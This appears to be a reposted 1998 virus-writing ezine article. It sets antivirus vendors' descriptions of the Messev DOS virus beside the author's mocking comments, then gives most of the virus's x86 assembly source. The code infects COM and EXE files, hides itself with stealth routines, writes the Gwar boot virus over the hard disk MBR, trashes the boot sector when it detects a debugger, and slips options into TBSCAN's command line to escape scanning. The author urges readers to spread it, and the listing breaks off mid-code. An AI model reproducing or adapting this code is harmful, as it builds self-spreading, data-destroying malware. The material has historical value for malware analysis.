Copy Link
Add to Bookmark
Report

The Messev virus

H0l0kausT Issue 1

eZine's profile picture
Published in 
H0l0kausT
 · 5 Mar 2023
The Messev virus
Pin it

NOTE

These are the final versions of my old Messev and Gwar which were supposed to be published in 29A#3, instead, older versions were used. Unlike what some of you may think, the versions included in this file are completely different from the ones in 29A#3, much code was rewritten and alot of features were added. Messev + Gwar were my first virii written for public release, that explains the weak coding, nevertheless, they ain't exactly trivial, and thus, interesting....

- T-2000 / [Immortal Riot] -

Here are a few fucked-up AV-descriptions of slightly modified versions, I added some of my own comments where needed:

DATAFELLOWS

The Messev.3158 is an encrypted resident stealth virus that infects COM and DOS EXE files. Besides it acts as a dropper to Gwar boot virus. Messev virus is encrypted with a variable key. Number of possible key variants is 255.

Messev installs itself to memory using the last MCB block and immediately passes control to its body there. First the virus traces Int 13h and Int 21h. Then the virus tries to infect harddisk with Gwar boot virus. It uses direct calls to Int 13h and Int 21h handlers during this procedure.

To safely infect MBR the virus tries to delete Windows 95 floppy device driver HSFLOP.PDR located in \System\IOSubSys folder, but there's an error in the virus and this never happens [* Yeah, the filename had a typo :( *]. The virus checks for presence of Gwar in memory and if it is not present the hard disk in infected - the original MBR is copied to 0/0/2 (h/t/s) and the Gwar is copied to 0/0/1 (h/t/s). Because of this trick logical hard disks become inaccessible when booting from a system diskette.

After dropping the Gwar the virus traps Int 13h and Int 21h. Then it gets attributes of C:\COMMAND.COM [* Dumbass, it infects the file pointed by the COMSPEC-variable by getting it's attributes. *], and passes control to original infected file code.

COM and DOS EXE files are infected by Messev on access. The original 12 bytes [* _WORDS_ moron! not bytes! *] from the file start are copied to the end of the virus body and then the virus attaches itself to a file. Timestamp of infected file is not modified except for seconds value - it is set to 60. Some programs that are bigger than 400k and some packed programs could become unusable after infection [* Yikes, this was a pretty serious bug, at the time being I thought a program's MinMem requirements was it's image-size in paragraphs! *]. When infected files are copied to floppy disk they appear to be clean.

The virus has the following text strings:

'This is a pretty lame virus, I only released it'
'coz I wanted to infect some ppl.'
'Messev - Screwed version.'

'If I don't pass... f*ck it! SKLSUX!'

[* Y*u c*n k*ss my *ss y*u f*cking l*me c*cks*cking c*ns*r-d*ck! *]

'My gun will be your angel of mercy!'
'[ DEMANUFACTURE - FEAR FACTORY ]'

The virus uses anti-debugging tricks. It halts keyboard and if it fails performs a trick with stack values and writes garbage to DOS Boot record. This could [* _DOES_ :P *] happen if the program is debugged inaccurately.

The stealth procedure of the virus hides all signs of virus presence in infected objects. When archivers (ARJ.EXE, PKZIP.EXE, LHA.EXE and RAR.EXE), CHKDSK or TBSCAN are executed the virus disables its stealth routines [* TBSCAN? How stupid can you morons get?! it adds certain parameters to the command-line of TBSCAN to skip the memory-scan and use the DOS file- system (so the stealth can do it's job). *]


[Analysis: Alexey Podrezov, Szor Peter, Data Fellows] [* Oink oink. *]

AVP: Messev.3158

It is a very dangerous memory resident virus. It infects DOS COM and EXE files as well as drops its boot instance that then infects boot sectors only and is not able to infect DOS executable files. The virus is encrypted in both files and sectors, it is also stealth in both its instances.

When an infected file is executed the virus decryption routine takes control, restores the virus in its original form and passes control to the virus installation routine. The virus then traces and hooks INT 13h, 21h, infects the MBR of the hard drive and command processor pointed by the COMSPEC= instruction.

While infecting files the virus writes itself to the end of the file. It affects the files that are executed, created, opened, accessed by Get/Set file attribute function and ever deleted. The virus disinfects infected files under debugger and on writing to such files (stealth). The virus also runs stealth routines on accessing file length and time & date stamp, [* Not to mention seeks & reads. *]. on executing the PKZIP, ARJ, LHA, RAR and CHKDSK utilities the virus disables these routines.

When TBSCAN anti-virus is executed, the virus appends to the end of command line options that disable TBSCAN memory and heuristic scanning [* Pfff! *]. Under debugger the virus erases the hard drive sectors and reboots the computer. While infecting the MBR of the hard drive the virus erases the file:

C:\WINDOWS\SYSTEM\IOSUBSYS\HDFLOP.PDR

The boot virus instance infects the MBR of the hard drive and boot sector of floppy disks as ordinary boot virus. On May 2nd it erases the harddrive sectors, displays and outputs to printer the message:

    Gwar virus v1.3, (c) 1998 by T-2000 / Invaders SKLSUX!Winsuck95 

[* 'SKLSUX!Winsuck95' is never displayed. *]

The virus also contains the text strings:

=[ Messev v2.10, (c) 1998 by T-2000 / Invaders ]=
MeSSeV LiVeS!
Daddy-K-tit 2 Gallyon van Vessem
This is a pretty lame virus, I only released it coz
I wanted to infect some ppl.Messev - Screwed version
If I don't pass... fuck it!SKLSUX!
My gun will be your angel of mercy!
[ DEMANUFACTURE - FEAR FACTORY ]

; On with the source... 

;============================================================================
;
; NAME: Messev v2.01
; TYPE: Parasitic resident full-stealth .COM & .EXE-infector.
; TARGETS: .COM & .EXE-files, MBR of 1st harddisk.
; PURPOSE: Designed to drop the Gwar v1.30 bootsector-virus.
; SIZE: Over 3000 bytes.
; AUTHOR: T-2000 / Invaders.
; DATE: March 1998 - May 1998.
; PHASE: Release version.
; RATING: 74%
; PAYLOAD: Nope, (but Gwar has, disk-trashing on 2nd of May).
;
;
; Capabilities:
;
; - Tunneling on INT 13h and INT 21h.
; - Variable encrypting.
; - Full stealth, (SFT-stealth however...).
; - Drops bootsector-virus (Gwar v1.30).
; - Stealths bootsectors/MBRs infected with Gwar.
; - Completely invisible for TBSCAN (adds parameters, uses INTs).
; - Anti-tracer: detects tracers (trashes bootsector).
; - Anti-debugging tricks.
; - Disables stealth on execution archivers (works with PKZIP).
; - Infects COMSPEC-variable.
;
;
; TO-DO-LIST:
;
; - Stealth filereads without SFT's.
; - Diskspace stealth.
; - Sizestealth under Win95 (71h, 4Eh/4Fh).
;
; BUGS:
; - DEBUG crashes on exit after accessing port 21h (IRQ-status).
;
; Dedicated to dis very pretty woman who was on Dutch television,
; named 'Gallyon van Vessem'.
;
; Stealth-marker is 60 seconds.
; Passes sanity-checks in anti-virus programs.
; It traps a shitload of functions.
; Checks if the environment is compatible.
;
; Gwar.Boot stealth-handler: - Stealths infected bootsectors/MBRs.
; - Lets the zero-track seem empty.
;
;
; When I got ready with Gwar, I've decided build it inside a file-infector,
; (nobody boots from a diskette nowadays). At first I thought of a Tai-Pan-
; hack, later I decided to write my own. It turned out to be the most stealth
; virus I ever programmed.
;
;
; I haven't tested this baby to death, but the code should be pretty sound.
; I spended a hell of a lot time coding this one!
;
; Scanner detection:
;
; - TbScan 8.02 : Only the T-flag (invalid timestamp).
; - F-Prot 2.28 : Indicates a possible infection with /ANALYZE.
; - AVP 3.00 : Nothing.
;
; - TbClean 8.02 : Unable to clean.
;
; Some parts may look a bit messy, this is due the optimization & handling
; of both .COM and .EXE-files. It could, however, be optimized a LOT more!
;
; Also sorry if there is some lame english in this source.
;
; My E-Mail: T2000_@HotMail.Com
;
; To whoever who has dis source: U can do with it whatever U want:
;
; - Modify it, (just give me credit)
; - Spread it (please do!)
; - Publish it,
; - Stick it where da sun doesn't shine.
;
; A big 'fuck' goes to Bill Gates and his sloppy Windoze-product, DOS was
; MUCH better then dis WinShit! - Bill, the perfect salesman -
;
;============================================================================


.MODEL TINY
.STACK 1024
.CODE


; ==> Please note that the virus-entrypoint is <==
; ==> at the end of this file, look for START: <==


Virus_Size EQU OFFSET Virus_End - OFFSET Virus_Begin
Virus_Mem_Size EQU ((Virus_Size * 2) / 16) + (128 / 16)
Marker_Mem EQU 721Eh
Marker_File EQU 1666h
Residency_Check EQU 99E1h
Bios EQU 13h
Dos EQU 21h


Virus_Begin:

Gwar_Boot: INCLUDE GWAR.ASM ; Bootsector-virus.

Entry:
CLI ; Detect if a tracer is used.
PUSH AX ; - ANTI-TRACER/DEBUGGER -
POP AX
DEC SP
DEC SP
POP BX
STI

CMP AX, BX ; Word correct?
JE Not_Traced ; Then continue execution.


; === Our retaliation ===
Trash_Boot:
MOV AX, 0301h ; Trash bootsector.
MOV CX, 01h ; (don't hurt our child).
MOV DX, 0180h
INT 13h

INT 19h ; Reboot system.

Not_Traced:
MOV AX, Residency_Check ; Call residency-check.
INT 21h

CMP AX, Marker_Mem ; Are we already TSR?
JNE Make_Resident

Exec_Host:
POP SI
POP ES
POP DS
POP DI
POP DX
POP CX
POP BX

IN AL, 21h ; Unlock keyboard.
AND AL, NOT 02h
OUT 21h, AL

CMP CS:[SI+Old_Bytes.Mark], 'ZM' ; Host a .EXE-file?
JE Exec_EXE
Exec_COM:
PUSH CS
POP DS

CLD ; Restore bytes in .COM-file.
ADD SI, OFFSET Old_Bytes
MOV DI, 100h
MOV CX, (24 / 2)
REP MOVSW

PUSH ES
POP DS

MOV AX, 100h

PUSH ES ; Save return-address
PUSH AX ; on stack.

XOR AX, AX ; Clear used registers.
XOR CX, CX
XOR SI, SI
XOR DI, DI

RETF ; JMP to start .COM-file.

Exec_EXE:
MOV AX, ES ; PSP-address.
ADD AX, 10h ; Plus size PSP.

CLI ; Restore old stack.
ADD CS:[SI+Old_Bytes.Init_SS], AX
MOV SS, CS:[SI+Old_Bytes.Init_SS]
MOV SP, CS:[SI+Old_Bytes.Init_SP]
STI

ADD AX, CS:[SI+Old_Bytes.Init_CS]
PUSH AX

MOV AX, CS:[SI+Old_Bytes.Init_IP]
PUSH AX
XOR AX, AX ; Clear AX.
RETF ; JMP to host.

Make_Resident:
MOV AH, 62h ; Get PSP, (screws some
INT 21h ; debuggers).

DEC BX ; Get our MCB.
MOV DS, BX

CMP BYTE PTR DS:[0], 'Z' ; We want the last MCB.
JNE Exec_Host ; Don't install when not.

XCHG SI, AX ; Save SI in AX.

POP SI
XOR SI, SI ; Set displacement to zero
PUSH SI ; on the stack.

XCHG SI, AX ; Restore SI from AX.

; === Subtract our memory requirements from MCB & PSP. ===

SUB WORD PTR DS:[03h], Virus_Mem_Size
SUB WORD PTR DS:[12h], Virus_Mem_Size
MOV ES, DS:[12h]

PUSH CS
POP DS

CLD ; Copy virus to high-mem.
XOR DI, DI
MOV CX, Virus_Size
REP MOVSB

MOV AX, OFFSET Relocated_Code

PUSH ES ; JMP to relocated virus.
PUSH AX
RETF

Copyright DB '=[ Messev v2.01, (c) 1998 by T-2000 / Invaders ]='

;------------------------------------------
; Statusbits:
;
; 0 Infect mode.
; 1 Filesize stealth mode.
; 2 Read-stealth mode (uses SFT's).
; 3 Zero-track stealth mode.
; 4 Bootsector/MBR stealth mode.
; 5-7 Reserved.
;------------------------------------------


Relocated_Code:

PUSH CS
POP DS

MOV AX, 3000h ; Get DOS-version (OEM).
INT 21h

MOV AL, 00010011b ; Infect-mode on.
; Sizestealth-mode on.

CMP BH, 0FFh ; Micro$oft MS-DOS?
JE M$_Compatible

CMP BH, 0EEh ; Digital Research DR-DOS?
JNE Not_Compatible

M$_Compatible: OR AL, 00001100b ; Read-stealth enabled (SFT).
; Zerotrack-stealth enabled.
Not_Compatible:
MOV Init_Status, AL ; Save initial status.
MOV Status, AL ; Set Statusbits.

MOV Trace_Mode, Bios ; Find BIOS-entrypoint.
CALL Tracer

MOV Trace_Mode, Dos ; Find DOS-entrypoint.
CALL Tracer

; Stealth-handler for Gwar.Boot.

MOV AL, 13h ; Hook INT 13h.
MOV BX, OFFSET Stealth_Int13h
MOV CX, CS
CALL SetInt

CALL Gwar_Dropper ; Install our lil' present.
NOP ; Leave dis here!

MOV AL, 21h ; Hook INT 21h.
MOV BX, OFFSET NewInt21h
MOV CX, CS
CALL SetInt

CALL Infect_COMSPEC ; Infect command-interpreter.

JMP Exec_Host


;-----------------------------------------------------------------
; See if Gwar is already installed, if not then install. Because
; we use the tunnelled vector, we can read beyond Gwar's stealth.
;-----------------------------------------------------------------
Gwar_Dropper:

; Delete port-access driver, so Gwar can infect under
; Winsux95. (Same method as used in Hare virus).

MOV AH, 41h ; Delete driver.
MOV DX, OFFSET Port_Driver
CALL OldInt21h

MOV AX, Marker_Mem_Gwar ; Gwar residency-check.
INT 13h

CMP AX, NOT Marker_Mem_Gwar ; Gwar resident?
JE Exit_Installer ; If so, don't install.

MOV AH, 0Dh ; Reset harddisk.
MOV DX, 80h
CALL OldInt13h

POP BX ; POP return address to BX.
PUSH BX ; PUSH it back.

MOV BYTE PTR [BX], 90h ; Remove breakpoint.
; - ANTI-DEBUGGER -

MOV AX, 0201h ; Read MBR of 1st harddisk.
MOV BX, OFFSET Buffer
MOV CX, 01h
CALL OldInt13h
JC Exit_Installer

CMP [BX+Signature], Marker_Boot ; Already infected?
JE Exit_Installer ; Then abort drop.

MOV AX, 0301h ; Store original MBR.
INC CX
CALL OldInt13h
JC Exit_Installer

IN AL, 40h ; Get encryption-key.
MOV Key, AL

CALL Crypt_Block ; Encrypt Gwar.

MOV AX, 0301h ; Write Gwar to MBR.
MOV BX, OFFSET Gwar_Boot ; Better use XOR BX, BX.
MOV CX, 01h
CALL OldInt13h

CALL Crypt_Block ; Decrypt Gwar.

Exit_Installer:

RETN

;--------------------------------------------------------------------------
; Fetches the path after the COMSPEC-variable, and gets it file-attributes
; by simulating a interrupt via our handler, so Messev will infect it.
;--------------------------------------------------------------------------
Infect_COMSPEC:
CALL Push_All

CLD ; Save host's original bytes.
MOV SI, OFFSET Old_Bytes ; (Bcoz they are overwritten
MOV DI, OFFSET Temp_Buffer ; by Messev when it infects
MOV CX, (24 / 2) ; the command-interpreter.
REP MOVSW

MOV AH, 62h ; Get PSP of current process.
INT 21h

MOV ES, BX
MOV ES, ES:[2Ch] ;
XOR DI, DI

Rep_Loop:
CMP BYTE PTR ES:[DI], 0 ; End of settings?
JZ Exit_Find ; Then exit routine.

MOV AX, ES:[DI] ; Get first word.
AND AX, 1101111111011111b ; Convert 2 uppercase.

CMP AX, 'OC' ; Starts with 'CO' ?
JNE Find_Next_Set ; Next setting when not.

MOV AX, ES:[DI+2] ; Get second word.
AND AX, 1101111111011111b ; Convert 2 uppercase.

CMP AX, 'SM' ; We found COMSPEC= ?
JE COMSPEC_Found ; Then infect it.

Find_Next_Set:
CLD ; Find next setting.
XOR AL, AL
MOV CX, 0FFFFh
REPNZ SCASB

OR CX, CX ; Not found?
JZ Exit_Find ; Then exit routine.

JMP Rep_Loop


COMSPEC_Found:
PUSH ES
POP DS

MOV AX, 4300h ; Get file-attributes via
MOV DX, DI ; our hooked INT so it
ADD DX, 8 ; will be infected.

PUSHF ; Simulate interrupt,
PUSH CS
CALL NewInt21h

Exit_Find:
PUSH CS
POP DS

PUSH CS
POP ES

CLD
MOV SI, OFFSET Temp_Buffer
MOV DI, OFFSET Old_Bytes
MOV CX, (24 / 2)
REP MOVSW

CALL Pop_All

RETN


; <=== S T E A L T H R O U T I N E S ===>

Stealth_Int13h:
CMP AH, 02h ; Read?
JNE JMP_Int13h_2

OR DH, DH ; Zero-head?
JNZ JMP_Int13h_2

OR CH, CH ; Zero-track?
JNZ JMP_Int13h_2

CMP CX, 01h ; Bootsector?
JNE Zero_Stealth

CALL OldInt13h ; Execute function.

CALL Push_All
JC Exit_Stealth_i13h ; Exit if error occurred.

TEST CS:Status, 00010000b ; Do bootsector/MBR stealth?
JZ Exit_Stealth_i13h ; Exit when not.

CMP ES:[BX+Signature], Marker_Boot
JNE Exit_Stealth_i13h

MOV AX, 0201h ; Read original bootsector.
MOV CX, ES:[BX+Stored_TS]
MOV DX, ES:[BX+Stored_HD]
CALL OldInt13h

Exit_Stealth_i13h:

CALL Pop_All

RETF 2 ; Return to caller.

JMP_Int13h_2: JMP DWORD PTR CS:Int13h

Zero_Stealth:
MOV CS:Temp, AL ; Save # of sectors to read.

CALL OldInt13h ; Execute function.

CALL Push_All
JC Exit_Stealth_i13h ; No stealth if error.

CMP DL, 80h ; Only on 1st harddisk.
JNE Exit_Stealth_i13h

TEST CS:Status, 00001000b ; Do zero-track stealth?
JZ Exit_Stealth_i13h ; Exit when not.

MOV DL, CS:Temp ; DL = Sector read.
MOV DI, BX ; DI = Sector-buffer.

Clear_Sector_Buffer:

OR DL, DL ; No more sectors read?
JZ Exit_Stealth_i13h ; Then abort stealthing.

CLD ; Fill buffer with zeroes.
XOR AX, AX
MOV CX, (512 / 2)
REP STOSW

DEC DX ; Decrease #sectors 2 stelth.
JMP Clear_Sector_Buffer


Stealth_Filesize_FCB:

CALL OldInt21h ; Execute function.

CALL Push_All

OR AL, AL ; Error?
JNZ Error_FCB ; If yes, then exit.

TEST CS:Status, 00000010b ; Can we perform sizestealth?
JZ Error_FCB

MOV AH, 2Fh ; Get DTA-address.
CALL OldInt21h

CMP BYTE PTR ES:[BX], 0FFh ; Extended FCB?
JNE Normal_FCB
ADD BX, 7 ; Skip extended stuff.
Normal_FCB: MOV AL, ES:[BX+17h]
AND AL, 00011111b ; Infected stamp?
CMP AL, 00011110b
JNE Error_FCB

AND BYTE PTR ES:[BX+17h], 11100000b

; Subtract our size from the filesize in DTA.

SUB WORD PTR ES:[BX+1Dh], Virus_Size
SBB WORD PTR ES:[BX+1Fh], 0
Error_FCB:
CALL Pop_All

RETF 2


; Subtract the virussize from infected files' length & clear seconds.
Stealth_Filesize:

CALL OldInt21h ; Execute function.

CALL Push_All
JC No_Filesize_Stealth ; Abort when error.

TEST CS:Status, 00000010b
JZ No_Filesize_Stealth ; No, then abort.

MOV AH, 2Fh ; Get DTA-address.
CALL OldInt21h

MOV AL, ES:[BX+16h] ; Get seconds-field.
AND AL, 00011111b ; Mask seconds.

CMP AL, 00011110b ; Equal to 60 seconds?
JNE No_Filesize_Stealth ; No stealth when not.

AND BYTE PTR ES:[BX+16h], 11100000b ; Clear seconds.

SUB WORD PTR ES:[BX+1Ah], Virus_Size
SBB WORD PTR ES:[BX+1Ch], 0

No_Filesize_Stealth:

CALL Pop_All

RETF 2 ; Return 2 caller.

;-----------------------------------------------
; Gets the SFT-Address of the handle in BX, and
; subtracts the virussize from the filelength.
;-----------------------------------------------
Sub_SFT_Size:
CALL Get_DCB
SUB WORD PTR ES:[DI+11h], Virus_Size
SBB WORD PTR ES:[DI+13h], 0

RETN

;-----------------------------------------------
; Gets the SFT-Address of the handle in BX, and
; adds the virussize to the filelength.
;-----------------------------------------------
Add_SFT_Size:
CALL Get_DCB
ADD WORD PTR ES:[DI+11h], Virus_Size
ADC WORD PTR ES:[DI+13h], 0

RETN


; Prevents readings after virtual file & redirect readings from header.
Stealth_File_Read:

CALL Push_All

MOV CS:Read_Buffer, DS

TEST CS:Status, 00000100b ; Can we use SFT-stealth?
JZ JMP_No_Stealth

MOV CS:Read_Bytes, CX ; Save # of bytes to read.
MOV CS:Read_Buffer+2, DX

CALL Check_Handle ; Dis is a filehandle?
JNZ JMP_No_Stealth ; Abort when it isn't.

CALL Check_Stamp ; Infected timestamp?
JZ Stealth_Read

JMP_No_Stealth: JMP No_Stealth_Read

Stealth_Read:
CALL Sub_SFT_Size ; Subtract our size from
; the SFTs, also gets the
; SFT-address in ES:DI.

MOV AX, ES:[DI+17h] ; Pos. before read hi.
MOV CS:File_Pos, AX
MOV AX, ES:[DI+15h] ; Pos. before read lo.
MOV CS:File_Pos+2, AX
CALL Pop_All

CALL OldInt21h ; Execute function.

CALL Push_All
JC Abort_Stealth ; Abort when error.

CALL Add_SFT_Size

PUSH CS
POP DS

CMP File_Pos, 0 ; Reading 1st 64k?
JNZ Abort_Stealth ; Abort when not.

CMP File_Pos+2, 24 ; Reading header?
JA Abort_Stealth ; Abort when not.

CALL Save_File_Pos

CALL Go_End_File

SUB AX, 24 ; Location original bytes.
SBB DX, 0

ADD AX, File_Pos+2 ; Plus pos in header.
ADC DX, 0

MOV ES:[DI+17h], DX ; Pos. old header.
MOV ES:[DI+15h], AX ; Pos. old header.

MOV AH, 3Fh ; Read original header
MOV CX, 24 ; into caller's buffer.
SUB CX, File_Pos+2
MOV DX, Read_Buffer+2
MOV DS, Read_Buffer
CALL OldInt21h

CALL Restore_File_Pos
Abort_Stealth:
CALL Pop_All

RETF 2 ; Return to caller.

No_Stealth_Read:
CALL Pop_All

JMP JMP_Int21h


; Prevents lseeks beyond virtual file.
Stealth_Fileseek:

CALL Push_All

TEST CS:Status, 00000100b ; Readstealth?
JZ No_Stealth_lseek

CALL Check_Stamp ; Infected stamp?
JNZ No_Stealth_Lseek

CALL Sub_SFT_Size ; Subtract virussize.

CALL Pop_All

CALL OldInt21h ; Execute function.

CALL Push_All

CALL Add_SFT_Size ; Restore filesize in SFT.

CALL Pop_All

RETF 2 ; And return.

No_Stealth_lseek:

CALL Pop_All

JMP JMP_Int21h


; DS:DX = Filename.
Clean_By_File:
CALL Push_All

MOV AX, 3D02h ; Open file r/w.
CALL OldInt21h
JC Abort_Clean

XCHG BX, AX

CALL Clean_Handle ; Clean it.

MOV AH, 3Eh ; Close file.
CALL OldInt21h
Abort_Clean:
CALL Pop_All

JMP JMP_Int21h

; Removes the virus physically from disk, before a program writes to it.
Clean_By_Handle:

CALL Clean_Handle

JMP JMP_Int21h

; Cleans the handle, (must have read/write access).
Clean_Handle:
CALL Push_All
CALL Hook_i24h

PUSH CS
POP DS

CALL Check_Handle ; Filehandle?
JNZ No_Del

MOV AX, 5700h ; Get filedate.
CALL OldInt21h

MOV FileTime, CX ; Save it.
MOV FileDate, DX

AND CL, 00011111b ; Mask seconds.

CMP CL, 00011110b ; 60 seconds ?
JNE No_Del

CALL Save_File_Pos
CALL Go_End_File

SUB AX, 24
SBB DX, 0

MOV CX, DX
XCHG DX, AX
MOV AX, 4200h ; Pos. old header.
CALL OldInt21h

MOV AH, 3Fh ; Read old header.
MOV CX, 24
MOV DX, OFFSET Header
CALL OldInt21h

CALL Go_End_File

SUB AX, Virus_Size ; Subtract our length.
SBB DX, 0

MOV CX, DX
XCHG DX, AX
MOV AX, 4200h ; Go to end virtual file.
CALL OldInt21h

MOV AH, 40h ; Write <EOF> marker.
XOR CX, CX
CALL OldInt21h

CALL Go_Begin_File

MOV AH, 40h ; Write old header.
MOV CX, 24
MOV DX, OFFSET Header
CALL OldInt21h

MOV AX, 5701h ; Set clean filedate.
MOV CX, FileTime
MOV DX, FileDate
AND CL, 11100000b ; Clear seconds.
CALL OldInt21h

CALL Restore_File_Pos

No_Del: CALL Unhook_i24h
CALL Pop_All

RETN

;---------------------------------------------
; Check if timestamp is marked as 'infected'.
; BX = Filehandle.
; ZF set when infected.
;---------------------------------------------
Check_Stamp:

PUSH AX
PUSH CX
PUSH DX

MOV AX, 5700h ; Get time & datestamp.
CALL OldInt21h

AND CL, 00011111b ; Infected?
CMP CL, 00011110b ; (Set's flags).

POP DX
POP CX
POP AX

RETN


; Hides infected timestamp.
Stealth_Time:
CALL OldInt21h

PUSHF
PUSH CX

MOV CS:Temp, CL

JC No_Stealth_Time

TEST CS:Status, 00000010b ; Sizestealth allowed?
JZ No_Stealth_Time

CALL Check_Stamp
JNZ No_Stealth_Time

AND CS:Temp, 11100000b ; Zero seconds.

No_Stealth_Time:

POP CX
POPF

MOV CL, CS:Temp

RETF 2

Save_File_Pos:

MOV AX, 4201h ; Get file-position.
XOR CX, CX
CWD
CALL OldInt21h

MOV CS:Old_Pos, DX
MOV CS:Old_Pos+2, AX

RETN


Restore_File_Pos:

MOV AX, 4200h
MOV CX, CS:Old_Pos
MOV DX, CS:Old_Pos+2
CALL OldInt21h

RETN

Go_Begin_File:
MOV AX, 4200h
XOR CX, CX
CWD
CALL OldInt21h

RETN


;-------------------------
; Goes to end of file.
;
; In: BX = filehandle
; Out: DX:AX = filesize
;-------------------------
Go_End_File:
PUSH CX

MOV AX, 4202h
XOR CX, CX
CWD
CALL OldInt21h

POP CX

RETN

; These INT 21h functions will be trapped by our virus. If the subfunction
; is 0FFh, it will be treaded like a wildcard.
Functions:
DW 11FFh ; Findfirst (FCB).
DW Stealth_Filesize_FCB
DW 12FFh ; Findnext (FCB).
DW Stealth_Filesize_FCB
DW 4EFFh ; Findfirst (handle).
DW Stealth_Filesize
DW 4FFFh ; Findnext (handle).
DW Stealth_Filesize
DW 4B00h ; Execute file.
DW Init_Exec
DW 4B01h ; Load but not execute.
DW Clean_By_File
DW 4CFFh ; Program terminate.
DW Switch_Stealth_On
DW 5700h ; Get filetime.
DW Stealth_Time
DW 3DFFh ; Open file.
DW Check_Infect
DW 6CFFh ; Extended open/create.
DW Check_Infect
DW 43FFh ; Get file-attributes.
DW Check_Infect
DW 3CFFh ; Create/truncate file.
DW Check_Infect
DW 3FFFh ; Read file (handle).
DW Stealth_File_Read
DW 40FFh ; Write to file (handle).
DW Clean_By_Handle
DW 42FFh ; lseek file.
DW Stealth_Fileseek
DW 41FFh ; Delete file.
DW Check_Infect
DW Residency_Check ; Are-You-There call.
DW Return_Call

DW 0 ; End table.
NewInt21h:

PUSH SI
PUSH BX

MOV SI, OFFSET Functions

Next_Function:
MOV BX, CS:[SI]

OR BH, BH ; End of table reached?
JZ End_Table_Reached ; Then abort.

CMP BH, AH ; Function match?
JNE Another

CMP BL, 0FFh ; Don't compare subfunction?
JE Exec_Function ; Then JMP to routine.

CMP BL, AL ; Subfunction right?
JE Exec_Function ; Then JMP to routine.

Another:
ADD SI, 4 ; Next entry.
JMP Next_Function ; Repeat loop.

End_Table_Reached:

POP BX
POP SI

JMP_Int21h: JMP DWORD PTR CS:Int21h

Exec_Function:
MOV BX, CS:[SI+2]
MOV CS:Ret_Add, BX

POP BX
POP SI

JMP CS:Ret_Add ; JMP to routine.


; === Let the virus know that we are already installed in memory. ===
Return_Call:

MOV AX, Marker_Mem

IRET


Switch_Stealth_On:

PUSH AX

MOV AL, CS:Init_Status
MOV CS:Status, AL

POP AX

JMP JMP_Int21h


Init_Exec:
CALL Push_All

; Should we be inactive during run of program?
; Else causes problems:
; eg. ARJ.EXE timestamp incorrect,
; PKZIP.EXE wrong filesizes, etc.

MOV SI, DX
MOV DI, OFFSET No_Active
MOV CX, (OFFSET End_No_Active - OFFSET No_Active) / 7
CALL Search_Table
JNZ No_Disable

AND CS:Status, 00000000b

No_Disable:
MOV DI, OFFSET TBSCAN ; Add parameters to TBSCAN?
MOV CX, 1
CALL Search_Table
JNZ Not_TbScan

MOV DI, ES:[BX+2]
MOV ES, ES:[BX+4]

MOV AL, ES:[DI]
CBW

ADD BYTE PTR ES:[DI], 6 ; Length parameters.
INC DI
ADD DI, AX

PUSH CS
POP DS

CLD
MOV SI, OFFSET Parameters

MOVSW
MOVSW
MOVSW
MOVSB

Not_TbScan:
CALL Pop_All


; === INFECTION ROUTINE ===
Check_Infect:
CALL Push_All
CALL Hook_i24h ; Dummy error-handler.

CMP AH, 6Ch ; Extended open/create?
JNE No_Ext_Open ; (used by F-Prot).
MOV DX, SI ; DX = SI.
No_Ext_Open:
TEST CS:Status, 00000001b ; Infect-mode on?
JZ JMP_Exit_i21h ; Abort when not.

MOV AX, 3D02h ; Open file for r/w.
CALL OldInt21h
JNC No_Open_Error

JMP_Exit_i21h: JMP Exit_Int_21h

My_Inspiration DB 'Daddy-K-tit 2 Gallyon van Vessem'

No_Open_Error:
XCHG BX, AX ; BX = Handle.

MOV AX, 4300h ; Get file-attributes.
CALL OldInt21h

PUSH CX

PUSH DS ; Save filename on stack.
PUSH DX

MOV AX, 4301h ; Clear file-attributes.
XOR CX, CX
CALL OldInt21h

CALL Check_Handle ; Filehandle?
JNZ Abort_Check

PUSH DS
POP ES

CLD ; Find end of ASCIIZ-string.
XOR AL, AL
MOV DI, DX
MOV CX, 0FFFFh
REPNZ SCASB

MOV AX, [DI-3]
AND AX, 1101111111011111b ; Convert 2 uppercase.

CMP AX, 'MO' ; Has file .COM-extension?
JE Legal_Candidate

CMP AX, 'EX' ; Has file .EXE-extension?
JNE Abort_Check

Legal_Candidate:

PUSH CS
POP DS

PUSH CS
POP ES

MOV AH, 3Fh ; Read header.
MOV CX, 24
MOV DX, OFFSET Header
CALL OldInt21h
JC Abort_Check ; If we can't read.

CALL Go_End_File

OR DX, DX ; > 64k?
JNZ Over_64k

CMP AX, 560 ; File too small?
JB Abort_Check
Over_64k:
CMP Header.Checksum, Marker_File ; Already infected?
JE Abort_Check

XOR BP, BP ; 0 = COM
; 1 = EXE

CMP Header.Mark, 'ZM' ; True .EXE-file?
JNE Infect_File

JMP Init_EXE

Abort_Check: JMP Close_File

Init_EXE: INC BP ; Set .EXE
Infect_File:

MOV AX, 5700h ; Get filetime.
CALL OldInt21h

PUSH CX ; Save timestamp on stack.
PUSH DX

CLD ; Save
MOV SI, OFFSET Header
MOV DI, OFFSET Old_Bytes
MOV CX, (24 / 2)
REP MOVSW

OR BP, BP ; .COM-file.
JZ Skip_EXE_Stuff
CALL EXE_Stuff
Skip_EXE_Stuff:

IN AL, 40h ; Get random encryption-key.
MOV File_Key, AL

CLD ; Copy virus to buffer
XOR SI, SI ; for encryption.
MOV DI, OFFSET Buffer
MOV CX, Virus_Size
REP MOVSB

MOV SI, OFFSET Buffer
MOV CX, OFFSET End_Encrypted_File

Encrypt_Byte:
XOR BYTE PTR [SI], AL ; Encrypt ourself in buffer.
INC SI
LOOP Encrypt_Byte

CALL Go_End_File

PUSH AX ; Save length host.

MOV AH, 40h ; Append virus to host.
MOV CX, Virus_Size
MOV DX, OFFSET Buffer
CALL OldInt21h

MOV Header.Checksum, Marker_File ; Mark as infected.

POP AX ; POP length host.

OR BP, BP ; .COM-file?
JNZ No_JMP ; If not, then make no JMP.

ADD AX, (OFFSET START - 3) ; Minus displacement.

MOV SI, OFFSET Header
MOV BYTE PTR [SI], 0E9h ; JMP opcode.
MOV WORD PTR [SI+1], AX ;

No_JMP:
CALL Go_Begin_File

MOV AH, 40h ; Write updated header.
MOV CX, 24
MOV DX, OFFSET Header
CALL OldInt21h

MOV AX, 5701h ; Restore filedate.
POP DX
POP CX
AND CL, 11100000b ; Clear seconds.
OR CL, 00011110b ; 60 secs.
CALL OldInt21h

Close_File: MOV AH, 3Eh ; Close file.
CALL OldInt21h

POP DX ; ASCIIZ-string.
POP DS

MOV AX, 4301h ; Restore file-attributes.
POP CX
CALL OldInt21h

Exit_Int_21h:
